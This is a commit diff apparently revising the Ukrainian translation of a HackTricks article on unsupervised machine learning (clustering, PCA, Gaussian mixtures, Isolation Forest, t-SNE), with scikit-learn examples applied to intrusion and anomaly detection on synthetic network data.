mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/AI/AI-Unsupervised-Learning-Algorithms.md', 'src/binary
This commit is contained in:
parent
ccaf1aafbd
commit
d07134931a
@ -4,18 +4,18 @@
|
||||
|
||||
## Некероване навчання
|
||||
|
||||
Некероване навчання — це тип машинного навчання, де модель навчається на даних без маркованих відповідей. Мета полягає в тому, щоб знайти шаблони, структури або зв'язки в даних. На відміну від керованого навчання, де модель навчається на маркованих прикладах, алгоритми некерованого навчання працюють з немаркованими даними. Некероване навчання часто використовується для завдань, таких як кластеризація, зменшення розмірності та виявлення аномалій. Воно може допомогти виявити приховані шаблони в даних, згрупувати подібні елементи разом або зменшити складність даних, зберігаючи їх основні характеристики.
|
||||
Некероване навчання — це тип машинного навчання, де модель навчається на даних без маркованих відповідей. Мета полягає в тому, щоб знайти шаблони, структури або зв'язки в даних. На відміну від керованого навчання, де модель навчається на маркованих прикладах, алгоритми некерованого навчання працюють з немаркованими даними. Некероване навчання часто використовується для таких завдань, як кластеризація, зменшення розмірності та виявлення аномалій. Воно може допомогти виявити приховані шаблони в даних, згрупувати подібні елементи разом або зменшити складність даних, зберігаючи їх основні характеристики.
|
||||
|
||||
### Кластеризація K-Середніх
|
||||
|
||||
K-Середніх — це алгоритм кластеризації на основі центроїдів, який розділяє дані на K кластерів, призначаючи кожну точку найближчому середньому кластеру. Алгоритм працює наступним чином:
|
||||
K-Середні — це алгоритм кластеризації на основі центроїдів, який розділяє дані на K кластерів, призначаючи кожну точку найближчому середньому кластеру. Алгоритм працює наступним чином:
|
||||
1. **Ініціалізація**: Виберіть K початкових центрів кластерів (центроїдів), часто випадковим чином або за допомогою більш розумних методів, таких як k-means++
|
||||
2. **Призначення**: Призначте кожну точку даних найближчому центроїду на основі метрики відстані (наприклад, евклідова відстань).
|
||||
3. **Оновлення**: Перерахуньте центроїди, взявши середнє значення всіх точок даних, призначених кожному кластеру.
|
||||
3. **Оновлення**: Перерахуньте центроїди, взявши середнє всіх точок даних, призначених кожному кластеру.
|
||||
4. **Повторення**: Кроки 2–3 повторюються, поки призначення кластерів не стабілізуються (центроїди більше не рухаються суттєво).
|
||||
|
||||
> [!TIP]
|
||||
> *Випадки використання в кібербезпеці:* K-Середніх використовується для виявлення вторгнень шляхом кластеризації мережевих подій. Наприклад, дослідники застосували K-Середніх до набору даних про вторгнення KDD Cup 99 і виявили, що він ефективно розділяє трафік на нормальні та атакуючі кластери. На практиці аналітики безпеки можуть кластеризувати записи журналів або дані про поведінку користувачів, щоб знайти групи подібної активності; будь-які точки, які не належать до добре сформованого кластера, можуть вказувати на аномалії (наприклад, новий варіант шкідливого ПЗ, що формує свій власний малий кластер). K-Середніх також може допомогти в класифікації сімей шкідливого ПЗ, групуючи бінарні файли на основі профілів поведінки або векторів ознак.
|
||||
> *Випадки використання в кібербезпеці:* K-Середні використовуються для виявлення вторгнень шляхом кластеризації мережевих подій. Наприклад, дослідники застосували K-Середні до набору даних про вторгнення KDD Cup 99 і виявили, що він ефективно розділяє трафік на нормальні та атакуючі кластери. На практиці аналітики безпеки можуть кластеризувати записи журналів або дані про поведінку користувачів, щоб знайти групи подібної активності; будь-які точки, які не належать до добре сформованого кластера, можуть вказувати на аномалії (наприклад, новий варіант шкідливого ПЗ, що формує свій власний малий кластер). K-Середні також можуть допомогти в класифікації сімейства шкідливого ПЗ, групуючи двійкові файли на основі профілів поведінки або векторів ознак.
|
||||
|
||||
#### Вибір K
|
||||
Кількість кластерів (K) є гіперпараметром, який потрібно визначити перед запуском алгоритму. Техніки, такі як Метод Ліктя або Оцінка Силуету, можуть допомогти визначити відповідне значення для K, оцінюючи продуктивність кластеризації:
|
||||
@ -25,12 +25,12 @@ K-Середніх — це алгоритм кластеризації на о
|
||||
|
||||
#### Припущення та обмеження
|
||||
|
||||
K-Середніх припускає, що **кластери є сферичними та однакового розміру**, що може не відповідати всім наборам даних. Він чутливий до початкового розміщення центроїдів і може сходитися до локальних мінімумів. Крім того, K-Середніх не підходить для наборів даних з різною щільністю або не глобулярними формами та ознаками з різними масштабами. Кроки попередньої обробки, такі як нормалізація або стандартизація, можуть бути необхідні для забезпечення того, щоб усі ознаки однаково впливали на обчислення відстані.
|
||||
K-Середні припускають, що **кластери є сферичними та однакового розміру**, що може не відповідати всім наборам даних. Він чутливий до початкового розміщення центроїдів і може сходитися до локальних мінімумів. Крім того, K-Середні не підходять для наборів даних з різною щільністю або не глобулярними формами та ознаками з різними масштабами. Кроки попередньої обробки, такі як нормалізація або стандартизація, можуть бути необхідні для забезпечення того, щоб усі ознаки однаково впливали на обчислення відстані.
|
||||
|
||||
<details>
|
||||
<summary>Приклад -- Кластеризація мережевих подій
|
||||
</summary>
|
||||
Нижче ми моделюємо дані мережевого трафіку та використовуємо K-Середніх для їх кластеризації. Припустимо, у нас є події з такими ознаками, як тривалість з'єднання та кількість байтів. Ми створюємо 3 кластери "нормального" трафіку та 1 малий кластер, що представляє патерн атаки. Потім ми запускаємо K-Середніх, щоб перевірити, чи розділяє він їх.
|
||||
Нижче ми моделюємо дані мережевого трафіку та використовуємо K-Середні для їх кластеризації. Припустимо, у нас є події з такими ознаками, як тривалість з'єднання та кількість байтів. Ми створюємо 3 кластери "нормального" трафіку та 1 малий кластер, що представляє патерн атаки. Потім ми запускаємо K-Середні, щоб перевірити, чи розділяє він їх.
|
||||
```python
|
||||
import numpy as np
|
||||
from sklearn.cluster import KMeans
|
||||
@ -57,25 +57,24 @@ for idx, center in enumerate(kmeans.cluster_centers_):
|
||||
print(f" Cluster {idx}: {center}")
|
||||
```
|
||||
У цьому прикладі K-Means має знайти 4 кластери. Малий кластер атак (з незвично високою тривалістю ~200) ідеально сформує свій власний кластер, враховуючи його відстань від нормальних кластерів. Ми виводимо розміри кластерів і центри, щоб інтерпретувати результати. У реальному сценарії можна було б позначити кластер з кількома точками як потенційні аномалії або перевірити його учасників на наявність шкідливої активності.
|
||||
</details>
|
||||
|
||||
### Ієрархічна кластеризація
|
||||
|
||||
Ієрархічна кластеризація будує ієрархію кластерів, використовуючи або підхід знизу-вгору (агломеративний), або зверху-вниз (дискретний):
|
||||
|
||||
1. **Агломеративний (знизу-вгору)**: Починайте з кожної точки даних як окремого кластера і ітеративно об'єднуйте найближчі кластери, поки не залишиться один кластер або не буде досягнуто критерію зупинки.
|
||||
2. **Дискретний (зверху-вниз)**: Починайте з усіх точок даних в одному кластері і ітеративно розділяйте кластери, поки кожна точка даних не стане своїм власним кластером або не буде досягнуто критерію зупинки.
|
||||
1. **Агломеративний (знизу-вгору)**: Починаємо з кожної точки даних як окремого кластера і ітеративно об'єднуємо найближчі кластери, поки не залишиться один кластер або не буде досягнуто критерію зупинки.
|
||||
2. **Дискретний (зверху-вниз)**: Починаємо з усіх точок даних в одному кластері і ітеративно розділяємо кластери, поки кожна точка даних не стане своїм власним кластером або не буде досягнуто критерію зупинки.
|
||||
|
||||
Агломеративна кластеризація вимагає визначення відстані між кластерами та критерію зв'язку для вирішення, які кластери об'єднувати. Загальні методи зв'язку включають одиночний зв'язок (відстань найближчих точок між двома кластерами), повний зв'язок (відстань найвіддаленіших точок), середній зв'язок тощо, а метрика відстані часто є евклідичною. Вибір зв'язку впливає на форму отриманих кластерів. Немає необхідності заздалегідь вказувати кількість кластерів K; ви можете "перерізати" дендрограму на обраному рівні, щоб отримати бажану кількість кластерів.
|
||||
Агломеративна кластеризація вимагає визначення відстані між кластерами та критерію зв'язку для вирішення, які кластери об'єднувати. Загальні методи зв'язку включають одиничний зв'язок (відстань найближчих точок між двома кластерами), повний зв'язок (відстань найдальших точок), середній зв'язок тощо, а метрика відстані часто є евклідичною. Вибір зв'язку впливає на форму утворених кластерів. Немає необхідності заздалегідь визначати кількість кластерів K; ви можете "перерізати" дендрограму на обраному рівні, щоб отримати бажану кількість кластерів.
|
||||
|
||||
Ієрархічна кластеризація виробляє дендрограму, деревоподібну структуру, яка показує відносини між кластерами на різних рівнях деталізації. Дендрограму можна перерізати на бажаному рівні, щоб отримати певну кількість кластерів.
|
||||
|
||||
> [!TIP]
|
||||
> *Випадки використання в кібербезпеці:* Ієрархічна кластеризація може організувати події або сутності в дерево для виявлення відносин. Наприклад, в аналізі шкідливого ПЗ агломеративна кластеризація може групувати зразки за поведінковою схожістю, виявляючи ієрархію сімей і варіантів шкідливого ПЗ. У мережевій безпеці можна кластеризувати потоки IP-трафіку та використовувати дендрограму для перегляду підгруп трафіку (наприклад, за протоколом, а потім за поведінкою). Оскільки вам не потрібно заздалегідь вибирати K, це корисно при дослідженні нових даних, для яких кількість категорій атак невідома.
|
||||
> *Випадки використання в кібербезпеці:* Ієрархічна кластеризація може організувати події або сутності в дерево для виявлення відносин. Наприклад, в аналізі шкідливого ПЗ агломеративна кластеризація може групувати зразки за поведінковою схожістю, виявляючи ієрархію сімей і варіантів шкідливого ПЗ. У мережевій безпеці можна кластеризувати IP-трафік і використовувати дендрограму для перегляду підгруп трафіку (наприклад, за протоколом, а потім за поведінкою). Оскільки вам не потрібно заздалегідь вибирати K, це корисно при дослідженні нових даних, для яких кількість категорій атак невідома.
|
||||
|
||||
#### Припущення та обмеження
|
||||
|
||||
Ієрархічна кластеризація не припускає певної форми кластера і може захоплювати вкладені кластери. Вона корисна для виявлення таксономії або відносин між групами (наприклад, групування шкідливого ПЗ за сімейними підгрупами). Вона детермінована (немає проблем з випадковою ініціалізацією). Ключовою перевагою є дендрограма, яка надає уявлення про структуру кластеризації даних на всіх масштабах – аналітики безпеки можуть вирішити, де провести відповідний розподіл для виявлення значущих кластерів. Однак вона є обчислювально витратною (зазвичай $O(n^2)$ часу або гірше для наївних реалізацій) і не є доцільною для дуже великих наборів даних. Це також жадібна процедура – після об'єднання або розділення це не може бути скасовано, що може призвести до субоптимальних кластерів, якщо помилка сталася на ранньому етапі. Викиди також можуть впливати на деякі стратегії зв'язку (одиночний зв'язок може викликати ефект "ланцюга", коли кластери з'єднуються через викиди).
|
||||
Ієрархічна кластеризація не припускає певної форми кластера і може захоплювати вкладені кластери. Вона корисна для виявлення таксономії або відносин між групами (наприклад, групування шкідливого ПЗ за підгрупами сімей). Вона детермінована (немає проблем з випадковою ініціалізацією). Ключовою перевагою є дендрограма, яка надає уявлення про структуру кластеризації даних на всіх масштабах – аналітики безпеки можуть вирішити, де провести відповідний розподіл для виявлення значущих кластерів. Однак вона є обчислювально витратною (зазвичай $O(n^2)$ часу або гірше для наївних реалізацій) і не є доцільною для дуже великих наборів даних. Це також жадібна процедура – після об'єднання або розділення це не можна скасувати, що може призвести до субоптимальних кластерів, якщо помилка сталася на ранньому етапі. Викиди також можуть впливати на деякі стратегії зв'язку (одиничний зв'язок може викликати ефект "ланцюгового" зв'язку, коли кластери з'єднуються через викиди).
|
||||
|
||||
<details>
|
||||
<summary>Приклад -- Агломеративна кластеризація подій
|
||||
@ -114,14 +113,14 @@ DBSCAN ідентифікує основні точки, граничні точ
|
||||
- **Гранична точка**: Точка, яка знаходиться в межах відстані ε від основної точки, але має менше ніж MinPts сусідів.
|
||||
- **Точка шуму**: Точка, яка не є ні основною, ні граничною.
|
||||
|
||||
Кластеризація відбувається шляхом вибору невідвіданої основної точки, позначення її як нового кластеру, а потім рекурсивного додавання всіх точок, які можна досягти за щільністю (основні точки та їх сусіди тощо). Граничні точки додаються до кластеру сусідньої основної точки. Після розширення всіх досяжних точок DBSCAN переходить до іншої невідвіданої основної точки, щоб почати новий кластер. Точки, які не були досягнуті жодною основною точкою, залишаються позначеними як шум.
|
||||
Кластеризація відбувається шляхом вибору невідвіданої основної точки, позначення її як нового кластеру, а потім рекурсивного додавання всіх точок, що досяжні за щільністю (основні точки та їх сусіди тощо). Граничні точки додаються до кластеру сусідньої основної точки. Після розширення всіх досяжних точок DBSCAN переходить до іншої невідвіданої основної точки, щоб почати новий кластер. Точки, які не були досягнуті жодною основною точкою, залишаються позначеними як шум.
|
||||
|
||||
> [!TIP]
|
||||
> *Випадки використання в кібербезпеці:* DBSCAN корисний для виявлення аномалій у мережевому трафіку. Наприклад, нормальна активність користувачів може формувати один або кілька щільних кластерів у просторі ознак, тоді як нові атаки можуть з'являтися як розсіяні точки, які DBSCAN позначить як шум (викиди). Його використовували для кластеризації записів мережевого потоку, де він може виявляти сканування портів або трафік відмови в обслуговуванні як рідкісні регіони точок. Інша програма - групування варіантів шкідливого ПЗ: якщо більшість зразків кластеризуються за родинами, але кілька не підходять ніде, ці кілька можуть бути нульовими днями. Здатність позначати шум означає, що команди безпеки можуть зосередитися на розслідуванні цих викидів.
|
||||
|
||||
#### Припущення та обмеження
|
||||
|
||||
**Припущення та переваги:** DBSCAN не припускає сферичні кластери - він може знаходити кластери довільної форми (навіть ланцюгоподібні або сусідні кластери). Він автоматично визначає кількість кластерів на основі щільності даних і може ефективно ідентифікувати викиди як шум. Це робить його потужним для реальних даних з нерегулярними формами та шумом. Він стійкий до викидів (на відміну від K-Means, який примушує їх до кластерів). Він добре працює, коли кластери мають приблизно рівномірну щільність.
|
||||
**Припущення та переваги:** DBSCAN не припускає кулясті кластери - він може знаходити кластери довільної форми (навіть ланцюгоподібні або сусідні кластери). Він автоматично визначає кількість кластерів на основі щільності даних і може ефективно ідентифікувати викиди як шум. Це робить його потужним для реальних даних з нерегулярними формами та шумом. Він стійкий до викидів (на відміну від K-Means, який змушує їх потрапляти в кластери). Він добре працює, коли кластери мають приблизно однорідну щільність.
|
||||
|
||||
**Обмеження:** Продуктивність DBSCAN залежить від вибору відповідних значень ε та MinPts. Він може мати труднощі з даними, які мають різну щільність - одне ε не може вмістити як щільні, так і рідкісні кластери. Якщо ε занадто мале, він позначає більшість точок як шум; занадто велике, і кластери можуть неправильно зливатися. Крім того, DBSCAN може бути неефективним на дуже великих наборах даних (наївно $O(n^2)$, хоча просторове індексування може допомогти). У високорозмірних просторах ознак концепція "відстані в межах ε" може стати менш значущою (прокляття вимірності), і DBSCAN може вимагати ретельного налаштування параметрів або може не знайти інтуїтивні кластери. Незважаючи на це, розширення, такі як HDBSCAN, вирішують деякі проблеми (наприклад, різну щільність).
|
||||
|
||||
@ -189,15 +188,15 @@ PCA широко використовується для візуалізаці
|
||||
- Матриця коваріації буде матрицею 10,000x10,000, де кожен елемент представляє коваріацію між двома пікселями.
|
||||
3. **Розв'язання рівняння власних значень**: Рівняння власних значень, яке потрібно розв'язати, - це `C * v = λ * v`, де C - матриця коваріації, v - власний вектор, а λ - власне значення. Його можна розв'язати за допомогою методів, таких як:
|
||||
- **Декомпозиція власних значень**: Виконайте декомпозицію власних значень на матриці коваріації, щоб отримати власні значення та власні вектори.
|
||||
- **Сингулярна декомпозиція (SVD)**: Альтернативно, ви можете використовувати SVD для розкладання матриці даних на сингулярні значення та вектори, що також може дати головні компоненти.
|
||||
- **Декомпозиція сингулярних значень (SVD)**: Альтернативно, ви можете використовувати SVD для розкладання матриці даних на сингулярні значення та вектори, що також може дати головні компоненти.
|
||||
4. **Вибір головних компонент**: Відсортуйте власні значення у спадному порядку та виберіть верхні K власних векторів, що відповідають найбільшим власним значенням. Ці власні вектори представляють напрямки максимальної дисперсії в даних.
|
||||
|
||||
> [!TIP]
|
||||
> *Випадки використання в кібербезпеці:* Загальне використання PCA в безпеці - це зменшення ознак для виявлення аномалій. Наприклад, система виявлення вторгнень з 40+ мережевими метриками (такими як ознаки NSL-KDD) може використовувати PCA для зменшення до кількох компонент, підсумовуючи дані для візуалізації або подачі в алгоритми кластеризації. Аналітики можуть відображати мережевий трафік у просторі перших двох головних компонент, щоб побачити, чи відокремлюються атаки від нормального трафіку. PCA також може допомогти усунути надлишкові ознаки (наприклад, байти, надіслані проти байтів, отриманих, якщо вони корельовані), щоб зробити алгоритми виявлення більш надійними та швидкими.
|
||||
> *Випадки використання в кібербезпеці:* Загальне використання PCA в безпеці - це зменшення ознак для виявлення аномалій. Наприклад, система виявлення вторгнень з 40+ мережевими метриками (такими як ознаки NSL-KDD) може використовувати PCA для зменшення до кількох компонент, підсумовуючи дані для візуалізації або подачі в алгоритми кластеризації. Аналітики можуть відображати мережевий трафік у просторі перших двох головних компонент, щоб побачити, чи відокремлюються атаки від нормального трафіку. PCA також може допомогти усунути надмірні ознаки (наприклад, байти, надіслані проти байтів, отриманих, якщо вони корельовані), щоб зробити алгоритми виявлення більш надійними та швидшими.
|
||||
|
||||
#### Припущення та обмеження
|
||||
|
||||
PCA припускає, що **головні осі дисперсії є значущими** – це лінійний метод, тому він захоплює лінійні кореляції в даних. Це некероване навчання, оскільки воно використовує лише коваріацію ознак. Переваги PCA включають зменшення шуму (компоненти з малою дисперсією часто відповідають шуму) та декореляцію ознак. Це обчислювально ефективно для помірно високих розмірностей і часто є корисним етапом попередньої обробки для інших алгоритмів (щоб пом'якшити прокляття розмірності). Одне з обмежень полягає в тому, що PCA обмежена лінійними зв'язками – вона не захоплює складну нелінійну структуру (тоді як автоенкодери або t-SNE можуть). Крім того, компоненти PCA можуть бути важкими для інтерпретації з точки зору оригінальних ознак (вони є комбінаціями оригінальних ознак). У кібербезпеці потрібно бути обережним: атака, яка викликає лише незначну зміну в ознаці з низькою дисперсією, може не з'явитися в верхніх ПК (оскільки PCA пріоритезує дисперсію, а не обов'язково "цікавість").
|
||||
PCA припускає, що **головні осі дисперсії є значущими** – це лінійний метод, тому він захоплює лінійні кореляції в даних. Це некероване навчання, оскільки воно використовує лише коваріацію ознак. Переваги PCA включають зменшення шуму (компоненти з малою дисперсією часто відповідають шуму) та декореляцію ознак. Це обчислювально ефективно для помірно високих розмірностей і часто є корисним етапом попередньої обробки для інших алгоритмів (щоб пом'якшити прокляття розмірності). Одне з обмежень полягає в тому, що PCA обмежена лінійними зв'язками – вона не захоплює складну нелінійну структуру (тоді як автоенкодери або t-SNE можуть). Крім того, компоненти PCA можуть бути важкими для інтерпретації з точки зору оригінальних ознак (вони є комбінаціями оригінальних ознак). У кібербезпеці потрібно бути обережним: атака, яка викликає лише незначну зміну в ознаці з низькою дисперсією, може не з'явитися в верхніх ПК (оскільки PCA пріоритизує дисперсію, а не обов'язково "цікавість").
|
||||
|
||||
<details>
|
||||
<summary>Приклад -- Зменшення розмірності мережевих даних
|
||||
@ -254,11 +253,11 @@ r_{nk} = \frac{\pi_k \mathcal{N}(x_n | \mu_k, \Sigma_k)}{\sum_{j=1}^{K} \pi_j \m
|
||||
Результатом є набір Гауссових розподілів, які колективно моделюють загальний розподіл даних. Ми можемо використовувати підганяний GMM для кластеризації, призначаючи кожну точку Гауссу з найвищою ймовірністю, або зберігати ймовірності для невизначеності. Також можна оцінити ймовірність нових точок, щоб перевірити, чи підходять вони до моделі (корисно для виявлення аномалій).
|
||||
|
||||
> [!TIP]
|
||||
> *Випадки використання в кібербезпеці:* GMM можна використовувати для виявлення аномалій, моделюючи розподіл нормальних даних: будь-яка точка з дуже низькою ймовірністю під навченою сумішшю позначається як аномалія. Наприклад, ви могли б навчити GMM на легітимних ознаках мережевого трафіку; атакуюче з'єднання, яке не нагадує жоден з навчених кластерів, матиме низьку ймовірність. GMM також використовуються для кластеризації активностей, де кластери можуть мати різні форми – наприклад, групування користувачів за профілями поведінки, де ознаки кожного профілю можуть бути подібними до Гауссових, але з власною структурою дисперсії. Інший сценарій: у виявленні фішингу легітимні ознаки електронної пошти можуть формувати один Гауссовий кластер, відомий фішинг – інший, а нові кампанії фішингу можуть з'являтися як окремий Гаусс або як точки з низькою ймовірністю відносно існуючої суміші.
|
||||
> *Випадки використання в кібербезпеці:* GMM може бути використаний для виявлення аномалій, моделюючи розподіл нормальних даних: будь-яка точка з дуже низькою ймовірністю під навченою сумішшю позначається як аномалія. Наприклад, ви могли б навчити GMM на легітимних ознаках мережевого трафіку; атакуюче з'єднання, яке не нагадує жоден з вивчених кластерів, матиме низьку ймовірність. GMM також використовуються для кластеризації активностей, де кластери можуть мати різні форми – наприклад, групування користувачів за профілями поведінки, де ознаки кожного профілю можуть бути подібні до Гауссових, але з власною структурою дисперсії. Інший сценарій: у виявленні фішингу легітимні ознаки електронної пошти можуть формувати один Гауссовий кластер, відомий фішинг – інший, а нові кампанії фішингу можуть з'являтися як окремий Гаусс або як точки з низькою ймовірністю відносно існуючої суміші.
|
||||
|
||||
#### Припущення та обмеження
|
||||
|
||||
GMM є узагальненням K-Means, яке враховує коваріацію, тому кластери можуть бути еліпсоїдними (не лише сферичними). Воно обробляє кластери різних розмірів і форм, якщо коваріація повна. М'яка кластеризація є перевагою, коли межі кластерів є нечіткими – наприклад, у кібербезпеці подія може мати риси кількох типів атак; GMM може відобразити цю невизначеність з ймовірностями. GMM також надає ймовірнісну оцінку щільності даних, корисну для виявлення викидів (точок з низькою ймовірністю під усіма компонентами суміші).
|
||||
GMM є узагальненням K-Means, яке включає коваріацію, тому кластери можуть бути еліпсоїдними (не лише сферичними). Він обробляє кластери різних розмірів і форм, якщо коваріація повна. М'яка кластеризація є перевагою, коли межі кластерів є нечіткими – наприклад, у кібербезпеці подія може мати риси кількох типів атак; GMM може відобразити цю невизначеність з ймовірностями. GMM також надає ймовірнісну оцінку щільності даних, корисну для виявлення викидів (точок з низькою ймовірністю під усіма компонентами суміші).
|
||||
|
||||
З іншого боку, GMM вимагає вказати кількість компонентів K (хоча можна використовувати критерії, такі як BIC/AIC для вибору). EM іноді може повільно сходитися або до локального оптимуму, тому ініціалізація є важливою (часто EM запускається кілька разів). Якщо дані насправді не слідують змішуванню Гауссів, модель може бути поганою. Існує також ризик, що один Гаусс зменшиться, щоб покрити лише викид (хоча регуляризація або мінімальні межі коваріації можуть це пом'якшити).
|
||||
|
||||
@ -284,7 +283,7 @@ log_likelihood = gmm.score_samples(sample_attack)
|
||||
print("Cluster membership probabilities for sample attack:", probs)
|
||||
print("Log-likelihood of sample attack under GMM:", log_likelihood)
|
||||
```
|
||||
У цьому коді ми навчаємо GMM з 3 гауссіанами на нормальному трафіку (припускаючи, що ми знаємо 3 профілі легітимного трафіку). Середні значення та коваріації, які виводяться, описують ці кластери (наприклад, одне середнє може бути близько [50,500], що відповідає центру одного кластера тощо). Потім ми тестуємо підозріле з'єднання [duration=200, bytes=800]. Функція predict_proba дає ймовірність того, що ця точка належить до кожного з 3 кластерів – ми очікуємо, що ці ймовірності будуть дуже низькими або сильно перекошеними, оскільки [200,800] знаходиться далеко від нормальних кластерів. Загальний score_samples (лог-правдоподібність) виводиться; дуже низьке значення вказує на те, що точка не підходить моделі, позначаючи її як аномалію. На практиці можна встановити поріг на лог-правдоподібність (або на максимальну ймовірність), щоб вирішити, чи є точка достатньо малоймовірною, щоб вважати її шкідливою. Таким чином, GMM забезпечує принциповий спосіб виявлення аномалій і також дає м'які кластери, які визнають невизначеність.
|
||||
У цьому коді ми навчаємо GMM з 3 гауссіанами на нормальному трафіку (припускаючи, що ми знаємо 3 профілі легітимного трафіку). Середні значення та коваріації, що виводяться, описують ці кластери (наприклад, одне середнє може бути близько [50,500], що відповідає центру одного кластера тощо). Потім ми тестуємо підозріле з'єднання [duration=200, bytes=800]. Функція predict_proba дає ймовірність того, що ця точка належить до кожного з 3 кластерів – ми очікуємо, що ці ймовірності будуть дуже низькими або сильно перекошеними, оскільки [200,800] знаходиться далеко від нормальних кластерів. Загальний score_samples (лог-правдоподібність) виводиться; дуже низьке значення вказує на те, що точка не підходить моделі, позначаючи її як аномалію. На практиці можна встановити поріг на лог-правдоподібність (або на максимальну ймовірність), щоб вирішити, чи є точка достатньо малоймовірною, щоб вважатися шкідливою. Таким чином, GMM забезпечує принциповий спосіб виявлення аномалій і також дає м'які кластери, які визнають невизначеність.
|
||||
|
||||
### Isolation Forest
|
||||
|
||||
@ -293,19 +292,19 @@ print("Log-likelihood of sample attack under GMM:", log_likelihood)
|
||||
Виявлення аномалій виконується шляхом спостереження за довжиною шляху кожної точки в цих випадкових деревах – кількість розділень, необхідних для ізоляції точки. Інтуїтивно, аномалії (викиди) зазвичай ізолюються швидше, оскільки випадкове розділення з більшою ймовірністю відокремить викид (який знаходиться в рідкісному регіоні), ніж нормальну точку в щільному кластері. Isolation Forest обчислює бал аномалії на основі середньої довжини шляху по всіх деревах: коротший середній шлях → більш аномальний. Бали зазвичай нормалізуються до [0,1], де 1 означає дуже ймовірну аномалію.
|
||||
|
||||
> [!TIP]
|
||||
> *Випадки використання в кібербезпеці:* Isolation Forests успішно використовувалися в системах виявлення вторгнень та виявлення шахрайства. Наприклад, навчіть Isolation Forest на журналах мережевого трафіку, які в основному містять нормальну поведінку; ліс створить короткі шляхи для дивного трафіку (як-от IP, який використовує невідомий порт або незвичний шаблон розміру пакета), позначаючи його для перевірки. Оскільки він не вимагає мічених атак, він підходить для виявлення невідомих типів атак. Його також можна використовувати на даних входу користувачів для виявлення захоплень облікових записів (аномальні часи або місця входу швидко ізолюються). У одному випадку використання Isolation Forest може захистити підприємство, моніторячи системні метрики та генеруючи сповіщення, коли комбінація метрик (ЦП, мережа, зміни файлів) виглядає дуже відмінно (короткі шляхи ізоляції) від історичних шаблонів.
|
||||
> *Випадки використання в кібербезпеці:* Isolation Forests успішно використовувалися в системах виявлення вторгнень та виявлення шахрайства. Наприклад, навчіть Isolation Forest на журналах мережевого трафіку, які в основному містять нормальну поведінку; ліс створить короткі шляхи для дивного трафіку (як IP, що використовує невідомий порт або незвичний шаблон розміру пакета), позначаючи його для перевірки. Оскільки він не вимагає мічених атак, він підходить для виявлення невідомих типів атак. Його також можна використовувати на даних входу користувачів для виявлення захоплень облікових записів (аномальні часи або місця входу швидко ізолюються). У одному випадку використання Isolation Forest може захистити підприємство, моніторячи системні метрики та генеруючи сповіщення, коли комбінація метрик (ЦП, мережа, зміни файлів) виглядає дуже відмінно (короткі шляхи ізоляції) від історичних шаблонів.
|
||||
|
||||
#### Припущення та обмеження
|
||||
|
||||
**Переваги**: Isolation Forest не вимагає припущення про розподіл; він безпосередньо націлений на ізоляцію. Він ефективний для даних з високою розмірністю та великих наборів даних (лінійна складність $O(n\log n)$ для побудови лісу), оскільки кожне дерево ізолює точки лише з підмножини ознак і розділень. Він зазвичай добре обробляє числові ознаки і може бути швидшим за методи, засновані на відстані, які можуть мати $O(n^2)$. Він також автоматично надає бал аномалії, тому ви можете встановити поріг для сповіщень (або використовувати параметр забруднення, щоб автоматично вирішити поріг на основі очікуваної частки аномалій).
|
||||
|
||||
**Обмеження**: Через свою випадкову природу результати можуть трохи варіюватися між запусками (хоча з достатньою кількістю дерев це незначно). Якщо дані мають багато нерелевантних ознак або якщо аномалії не сильно відрізняються в жодній ознаці, ізоляція може бути неефективною (випадкові розділення можуть ізолювати нормальні точки випадково – однак усереднення багатьох дерев зменшує це). Крім того, Isolation Forest зазвичай припускає, що аномалії є невеликою меншістю (що зазвичай вірно в сценаріях кібербезпеки).
|
||||
**Обмеження**: Через свою випадкову природу результати можуть трохи варіюватися між запусками (хоча з достатньою кількістю дерев це незначно). Якщо дані мають багато нерелевантних ознак або якщо аномалії не сильно відрізняються в жодній ознаці, ізоляція може бути неефективною (випадкові розділення можуть ізолювати нормальні точки випадково – однак усереднення багатьох дерев пом'якшує це). Крім того, Isolation Forest зазвичай припускає, що аномалії є невеликою меншістю (що зазвичай вірно в сценаріях кібербезпеки).
|
||||
|
||||
<details>
|
||||
<summary>Приклад -- Виявлення викидів у мережевих журналах
|
||||
</summary>
|
||||
|
||||
Ми використаємо раніше тестовий набір даних (який містить нормальні та деякі точки атак) і запустимо Isolation Forest, щоб перевірити, чи може він відокремити атаки. Ми припустимо, що очікуємо ~15% даних бути аномальними (для демонстрації).
|
||||
Ми використаємо раніше тестовий набір даних (який містить нормальні та деякі точки атаки) і запустимо Isolation Forest, щоб перевірити, чи може він відокремити атаки. Ми припустимо, що очікуємо ~15% даних бути аномальними (для демонстрації).
|
||||
```python
|
||||
from sklearn.ensemble import IsolationForest
|
||||
|
||||
@ -333,7 +332,7 @@ print("Example anomaly scores (lower means more anomalous):", anomaly_scores[:5]
|
||||
|
||||
1. **Обчислення парних афінностей у високорозмірному просторі:** Для кожної пари точок t-SNE обчислює ймовірність того, що одна з точок буде обрана сусідом (це робиться шляхом центрування гауссового розподілу на кожній точці та вимірювання відстаней – параметр перплексії впливає на ефективну кількість сусідів, які розглядаються).
|
||||
2. **Обчислення парних афінностей у низькорозмірному (наприклад, 2D) просторі:** Спочатку точки розміщуються випадковим чином у 2D. t-SNE визначає подібну ймовірність для відстаней у цій карті (використовуючи ядро розподілу Стюдента, яке має важчі хвости, ніж гауссовий, щоб дозволити віддаленим точкам більше свободи).
|
||||
3. **Градієнтний спуск:** t-SNE потім ітеративно переміщує точки в 2D, щоб мінімізувати дивергенцію Кульбака-Лейблера (KL) між високорозмірним розподілом афінностей і низькорозмірним. Це призводить до того, що 2D розташування відображає високорозмірну структуру якомога більше – точки, які були близько в оригінальному просторі, будуть притягувати одна одну, а ті, що далеко, будуть відштовхуватися, поки не буде знайдено баланс.
|
||||
3. **Градієнтний спуск:** t-SNE потім ітеративно переміщує точки в 2D, щоб мінімізувати дивергенцію Кульбака-Лейблера (KL) між високорозмірним розподілом афінностей і низькорозмірним. Це призводить до того, що 2D розташування відображає структуру високої розмірності якомога більше – точки, які були близько в оригінальному просторі, будуть притягувати одна одну, а ті, що далеко, будуть відштовхуватися, поки не буде знайдено баланс.
|
||||
|
||||
Результат часто є візуально значущим розсіяним графіком, де кластери в даних стають очевидними.
|
||||
|
||||
@ -342,9 +341,9 @@ print("Example anomaly scores (lower means more anomalous):", anomaly_scores[:5]
|
||||
|
||||
#### Припущення та обмеження
|
||||
|
||||
